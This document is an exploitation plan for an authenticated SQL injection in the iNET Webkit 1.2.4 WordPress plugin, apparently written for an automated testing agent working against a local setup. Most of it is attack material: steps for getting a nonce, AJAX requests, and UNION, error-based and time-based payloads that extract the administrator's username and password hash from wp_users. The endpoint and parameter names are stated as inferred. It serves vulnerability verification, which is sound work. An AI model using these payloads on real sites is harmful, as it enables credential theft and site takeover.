iNET Webkit 1.2.4 - Authenticated (Contributor+) SQL Injection

This research plan focuses on identifying and exploiting a Contributor-level SQL injection vulnerability in the iNET Webkit plugin (version 1.2.4).

1. Vulnerability Summary

The iNET Webkit plugin for WordPress is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize and prepare user-supplied input before using it in a database query via the $wpdb class. Specifically, an AJAX handler or an admin-side function likely takes a parameter (e.g., an ID or a search string) and concatenates it directly into a SQL statement without using $wpdb->prepare(). While the vulnerability is rated "Medium," it allows attackers with at least Contributor-level permissions to extract sensitive data, including administrator password hashes and WordPress secret keys.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: (Inferred) inet_webkit_get_data or webkit_search_items.
• Vulnerable Parameter: (Inferred) id, item_id, or search.
• Authentication Required: Contributor-level user (PR:L). Contributors can access admin-ajax.php and often trigger plugin-specific meta boxes or shortcode generators.
• Preconditions: The attacker must be logged in as a Contributor and obtain a valid security nonce if the plugin enforces one.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action for authenticated users:
   add_action('wp_ajax_inet_webkit_action', 'inet_webkit_handler_function');
2. Nonce Verification: The handler may call check_ajax_referer('inet_webkit_nonce', 'security').
3. Vulnerable Sink: The handler retrieves a parameter from $_POST and passes it to a query:

   $id = $_POST['id']; // Unsanitized input
   $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}webkit_items WHERE id = $id"); // String concatenation
   

4. SQLi: By providing a payload like 1 UNION SELECT 1,user_login,user_pass,4 FROM wp_users, the attacker can manipulate the query results.

4. Nonce Acquisition Strategy

To exploit an AJAX endpoint as a Contributor, we must extract the nonce from the WordPress admin interface.

1. Identify Trigger: Determine which admin page enqueues the plugin's scripts (likely the "Post/Page Editor" as Contributors can access this).
2. Setup: Create a post to ensure the editor environment is available.
3. Extraction:
   • Navigate to the "New Post" page (/wp-admin/post-new.php).
   • Use browser_eval to locate the localization object. Look for common names like inet_webkit_vars or webkit_settings.
   • Target JavaScript Variable: window.inet_webkit_ajax?.nonce (Inferred).
4. Action: If wp_create_nonce was used with a static action string (e.g., 'inet_webkit_action'), the extracted nonce will be valid for the AJAX request.

5. Exploitation Strategy

We will use a UNION-based SQL injection to extract the administrator's credentials.

Step 1: Determine Column Count (Inferred)
Use the http_request tool to send a request to admin-ajax.php with an ORDER BY clause.

• Payload: 1 ORDER BY 10-- -
• Method: POST
• Target: http://[target]/wp-admin/admin-ajax.php
• Body: action=inet_webkit_action&security=[NONCE]&id=1 ORDER BY 5-- -

Step 2: Extract Admin Credentials
Once the column count (e.g., 4) is found, perform the extraction.

• Payload: 0 UNION SELECT 1,user_login,user_pass,4 FROM wp_users WHERE ID=1-- -
• HTTP Request (Example):

  {
    "method": "POST",
    "url": "http://localhost:8080/wp-admin/admin-ajax.php",
    "headers": {
      "Content-Type": "application/x-www-form-urlencoded"
    },
    "body": "action=inet_webkit_action&security=[NONCE]&id=0 UNION SELECT 1,user_login,user_pass,4 FROM wp_users WHERE ID=1-- -"
  }
  

6. Test Data Setup

1. Create Contributor:
   wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Ensure Plugin is Active:
   wp plugin activate inet-webkit
3. Identify Administrator:
   wp user list --role=administrator (Usually ID 1).
4. Create a draft post: (To ensure the contributor can access the editor and see localized nonces).
   wp post create --post_type=post --post_title="Test Post" --post_status=draft --post_author=[ATTACKER_ID]

7. Expected Results

• The AJAX response should return a JSON object or HTML snippet containing the admin's username and their phpass/bcrypt hash.
• Example Response: {"success":true,"data":[{"id":"1","column2":"admin","column3":"$P$B...","column4":"4"}]}

8. Verification Steps

1. Verify via CLI: Get the actual hash of the admin user.
   wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"
2. Comparison: Compare the hash retrieved via the HTTP exploit with the hash retrieved via wp-cli. If they match, the SQL injection is confirmed.

9. Alternative Approaches

• Error-Based SQLi: If the plugin displays database errors (common when WP_DEBUG is on), use updatexml() or extractvalue():
  • id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
• Time-Based Blind: If results are not reflected in the response:
  • id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
• Parameter Discovery: If id is not the vulnerable parameter, use grep -r "\$wpdb->get_results" wp-content/plugins/inet-webkit to find all potential sinks and their corresponding parameters.